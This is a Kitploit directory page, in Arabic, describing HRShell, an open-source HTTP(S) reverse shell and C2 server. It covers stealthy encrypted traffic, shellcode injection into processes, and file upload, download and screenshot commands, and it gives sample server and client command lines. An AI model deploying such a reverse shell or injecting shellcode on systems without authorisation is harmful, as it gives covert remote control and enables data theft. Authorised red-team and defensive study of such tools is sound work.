Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HRShell — HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات. | Kitploit
أدوات/GitHubGitHub/chrispetrou/hrshell
أدوات التشفير/فك التشفيرالاستغلالالهندسة العكسيةشيل كودما بعد الاستغلالأمن الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتArchived
2486939منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
chrispetrou/hrshell

HRShell

HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات.

عرض المستودع
HRShell: شل عكسية متقدمة عبر HTTP(S) مبنية باستخدام Flask

GPLv3 license version Known Vulnerabilities



HRShell هي شل عكسية عبر HTTPS/HTTP مبنية باستخدام Flask ومتوافقة مع python 3.x. تم اختبار client.py بنجاح على:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

بينما server.py متوافق مع أنظمة Unix (دعم Windows قريباً...)

الميزات

  • خفي (Stealthy) 👻
  • دعم TLS 🔑
    • إما باستخدام شهادات فورية (on-the-fly) أو
    • بتحديد زوج شهادة/مفتاح (المزيد من التفاصيل أدناه...)
  • حقن شيل كود (Shellcode injection) 💉 (المزيد من التفاصيل أدناه...)
    • إما حقن شيل كود في خيط/عملية فرعية من العملية الحالية
      • المنصات المدعومة حتى الآن:
        • Windows x86
        • Unix x86
        • Unix x64
    • أو حقن شيل كود في عملية أخرى (migrate <PID>) بتحديد معرف العملية
      • المنصات المدعومة حتى الآن:
        • Windows x86
        • Windows x64
  • يمكن تعيين/تعديل شيل الكود بسرعة من الخادم (المزيد من التفاصيل أدناه...)
  • دعم البروكسي على العميل.
  • التنقل في الدلائل (أمر cd والمتغيرات).
  • أمر history تفاعلي متاح على أنظمة Unix.
  • أوامر download/upload/screenshot/hex متاحة.
  • دعم التوجيه (pipelining) (|) والأوامر المتسلسلة (;).
  • دعم جميع الأوامر غير التفاعلية (مثل gdb, top إلخ...)
  • الخادم يدعم HTTP و HTTPS.
  • يأتي مع خادمين مدمجين 🌐 حتى الآن... خادم flask المدمج و tornado-WSGI وهو متوافق أيضًا مع خوادم الإنتاج الأخرى مثل gunicorn و Nginx.
  • كل من server.py و client.py قابلان للتوسع بسهولة.
  • نظرًا لأن معظم الوظائف تأتي من تصميم نقاط نهاية الخادم، فمن السهل جدًا كتابة عميل بأي لغة أخرى مثل java, GO إلخ...

*لتغييرات الإصدارات، راجع CHANGELOG.

التفاصيل


الخفاء (Stealthy) :shipit:

HRShell خفي لأنه يستخدم بروتوكول HTTP(S) كطريقة اتصال بين العميل والخادم. بالإضافة إلى ذلك، عند استخدام TLS، يكون حركة المرور مشفرة أيضًا. أيضًا إذا لم يتم كتابة الشهادة (CERT) يدويًا في العميل (وهو خيار ممكن) ولم يتم استخدام أمر upload، فإن client.py لا يلمس القرص إطلاقًا.

TLS 🔑

جانب الخادم: ما لم يتم تحديد خيار --http، يكون server.py افتراضيًا HTTPS باستخدام شهادات فورية، نظرًا لأن الشهادات الفورية هي ميزة مدمجة في Flask. ولكن إذا تم تحديد خيار -s tornado لجعل الخادم يستخدم TLS، فيجب تحديد خيار --cert و --key على النحو التالي:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

يمكن استخدام شهادات "حقيقية" أو طريقة أخرى لتوليد زوج شهادة/مفتاح مثل استخدام mkcert أو openssl مباشرة كما يلي:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

يمكن أيضًا استخدام زوج شهادة/مفتاح مع خادم flask:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ إذا كان الخادم يستخدم TLS، فلا يمكن للعميل من حيث التصميم استخدام http://... للاتصال بالخادم، بل يجب استخدام https بدلاً من ذلك.

جانب العميل: افتراضيًا، يكون التحقق من SSL معطلًا في العميل، إلا إذا:

  • تم تحديد المعامل --cert مثل:
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • أو تم تعيين المتغير CERT، بدلاً من القيمة الافتراضية None، مسبقًا بشهادة صالحة مثل:
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    في هذه الحالة، سيحاول client.py إنشاء ملف .cert.pem مخفي تلقائيًا وسيستخدمه بدلاً من ذلك.

⚠️ أن تعطيل التحقق من SSL افتراضيًا على العميل لا يعني بأي حال أن TLS معطل أيضًا، سيتم تمكين TLS إذا استخدمه الخادم - لذا يعتمد TLS كليًا على الخادم. خيار --cert على العميل موجود فقط كطريقة بديلة لوجود جلسة مشفرة بين الخادم والعميل، وهذا كل شيء.

حقن شيل الكود 💉

يوجد "وضعان" لحقن شيل الكود باستخدام الأمرين التاليين على التوالي:

  1. migrate <PID>: باستخدام هذا الأمر يمكننا حقن شيل الكود في مساحة الذاكرة لعملية أخرى عن طريق تحديد معرف العملية الخاص بها. حاليًا، يمكن تطبيق هذا الأمر فقط على منصات Windows x86/x64!
  1. inject shellcode: باستخدام هذا الأمر، يتم إنشاء خيط جديد (أو عملية فرعية على أنظمة unix) من عمليتنا الحالية ويتم حقن شيل الكود في مساحة الذاكرة الخاصة به. ونتيجة لذلك، لا تتأثر شل HTTP(S) الخاصة بنا بالحقن. المنصات التي يمكن تطبيق هذا الأمر عليها هي: Unix x86/x64, Windows x86!
ملاحظات
  • في حالة حدوث الحقن على عملية ما، تلعب صلاحيات العملية دورًا مهمًا جدًا. ليس من الممكن دائمًا الحقن في أي عملية بسبب عدم وجود الصلاحيات المناسبة.

تعيين/تعديل شيل الكود

هناك طريقتان يمكنك من خلالها تحديد/تعيين نوع شيل الكود الذي تريد أن ينفذه العميل:

  • إما تعيين متغير shellcode مسبقًا في برنامج client.py النصي ليكون شيل كود صالحًا أو
  • استخدام الأمر set shellcode <shellcode-id> للقيام بذلك بسرعة. باستخدام هذا الأمر يمكنك تحديث شيل الكود الخاص بك على جانب العميل من جانب الخادم عدة مرات كما تريد!

الطريقة الأولى واضحة ومباشرة. ومع ذلك، لاستخدام الطريقة الثانية والأكثر ملاءمة (نظرًا لأنه يمكنك أيضًا تعديل شيل كود تم تعيينه بالفعل) يجب عليك إعداد برنامج shellcodes/utils.py النصي بحيث يحتوي على شيل الكود (أكواد) الذي تختاره. يحتوي البرنامج النصي على مثال لكيفية القيام بذلك.

💡 يمكنك تعديل/تحديث برنامج shellcodes/utils.py النصي حتى بعد تشغيل server.py عدة مرات كما تريد، حيث سيستخدم server.py بشكل ديناميكي الإصدار الأحدث/الأكثر حداثة. بهذه الطريقة يمكنك تعيين وتعديل شيل الكودات أثناء العمل...

الأوامر المتاحة:

الأوامر الخاصة:

أي أمر آخر مدعوم إذا كان غير تفاعلي مثل مثل gdb, top إلخ... أيضًا بكتابة python server.py -h أو python client.py -h يمكنك الحصول على معلومات حول الوسائط المتاحة للخادم والعميل.

تنزيل الأداة